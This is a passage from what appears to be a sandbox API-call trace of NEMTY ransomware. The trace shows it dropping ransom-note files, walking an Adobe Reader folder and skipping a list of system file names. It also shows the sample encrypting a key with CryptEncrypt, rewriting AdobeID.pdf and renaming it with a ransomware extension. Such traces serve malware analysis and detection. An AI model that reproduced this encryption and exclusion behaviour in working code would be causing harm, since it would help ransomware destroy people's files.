| out: hHeap=0x4f90000) returned 1 [0171.150] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0171.151] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.151] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0171.152] CloseHandle (hObject=0x254) returned 1 [0171.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0171.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0171.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.152] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.152] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0171.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340110 [0171.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.152] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0171.153] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.153] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0171.154] CloseHandle (hObject=0x254) returned 1 [0171.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0171.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.154] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x19a851d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19a851d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0171.154] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0171.154] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x19a851d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19a851d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0171.154] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0171.154] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0171.154] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11ff6, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0171.154] lstrcmpiW (lpString1="AdobeID.pdf", lpString2=".") returned 1 [0171.154] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="..") returned 1 [0171.154] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="...") returned 1 [0171.154] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="windows") returned -1 [0171.154] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0171.154] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="rsa") returned -1 [0171.154] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="NTDETECT.COM") returned -1 [0171.154] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntldr") returned -1 [0171.154] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="MSDOS.SYS") returned -1 [0171.154] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="IO.SYS") returned -1 [0171.154] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0171.154] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0171.154] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="AUTOEXEC.BAT") returned -1 [0171.155] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntuser.dat") returned -1 [0171.155] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="desktop.ini") returned -1 [0171.155] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="CONFIG.SYS") returned -1 [0171.155] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="RECYCLER") returned -1 [0171.155] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="BOOTSECT.BAK") returned -1 [0171.155] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="bootmgr") returned -1 [0171.155] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="programdata") returned -1 [0171.155] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="appdata") returned -1 [0171.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.155] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.155] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.155] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.155] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.155] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.155] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.155] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.155] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0171.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340110 [0171.155] Sleep (dwMilliseconds=0x5) [0171.161] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19aab330, dwHighDateTime=0x1d561e8)) [0171.161] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19aab330, dwHighDateTime=0x1d561e8)) [0171.161] GetLastError () returned 0xb7 [0171.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.161] GetLastError () returned 0xb7 [0171.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.162] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0171.162] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0171.162] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0171.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401b8 [0171.162] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63401b8, pcchString=0x653e5dc | out: pszString="nV7eJfZVpmcliP/WXY4pcUMyybPuv7piXK9fNpPeCtiCsyOqHWppT4YDcV3cT9jq\r\nQDyCep9t2Wd2PSG9oj6Y/LkYxv7yfM5AkS8BkctdSm7u2ZVJyQ5OTlYGSOc98NZZ\r\nP5GGEZyV8jrWvf10JlJww/MXI2A+yXjrao20QdDcpihK1bp4kN0p6Ma0yyUD3h4R\r\nsKot1XyGkQwSdSeZq9LO5wn0dckyTtWV6Q4QnjpyQ+PNJI0/1N/i4SweA9+XQdrz\r\ngl6wKEVkWdvAtdAtYsCQbTAobhH7btOglN4MFt+qsxQAKdGfAmPVy0uuhs48ix6G\r\nGi2tQOJjs5ObzFuC/DVWCQ==\r\n", pcchString=0x653e5dc) returned 1 [0171.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0171.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401b8 [0171.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.162] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0171.162] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=73718) returned 1 [0171.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11ff0) returned 0x6352c48 [0171.162] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.162] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x11ff0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x11ff0, lpOverlapped=0x0) returned 1 [0171.169] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.169] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x11ff0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x11ff0, lpOverlapped=0x0) returned 1 [0171.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.169] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=73718, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11ff6 [0171.169] WriteFile (in: hFile=0x3b0, lpBuffer=0x63401b8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63401b8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0171.169] CloseHandle (hObject=0x3b0) returned 1 [0171.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340328 [0171.169] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.169] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403d0 [0171.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340478 [0171.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0171.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.170] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\AdobeID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\adobeid.pdf._nemty_kgobjgd_")) returned 1 [0171.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0171.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0171.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0171.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0171.172] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11581, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0171.172] lstrcmpiW (lpString1="DefaultID.pdf", lpString2=".") returned 1 [0171.172] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="..") returned 1 [0171.172] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="...") returned 1 [0171.172] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="windows") returned -1 [0171.172] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0171.172] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="rsa") returned -1 [0171.172] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="NTDETECT.COM") returned -1 [0171.172] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntldr") returned -1 [0171.172] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="MSDOS.SYS") returned -1 [0171.172] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="IO.SYS") returned -1 [0171.172] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0171.172] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0171.172] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0171.172] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntuser.dat") returned -1 [0171.172] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="desktop.ini") returned -1 [0171.172] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="CONFIG.SYS") returned 1 [0171.172] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="RECYCLER") returned -1 [0171.172] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="BOOTSECT.BAK") returned 1 [0171.172] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="bootmgr") returned 1 [0171.172] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="programdata") returned -1 [0171.172] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="appdata") returned 1 [0171.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.173] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.173] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.173] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.173] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.173] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.173] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.173] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340110 [0171.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0171.173] Sleep (dwMilliseconds=0x5) [0171.177] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19ad1490, dwHighDateTime=0x1d561e8)) [0171.177] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19ad1490, dwHighDateTime=0x1d561e8)) [0171.177] GetLastError () returned 0x0 [0171.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.177] GetLastError () returned 0x0 [0171.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.177] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 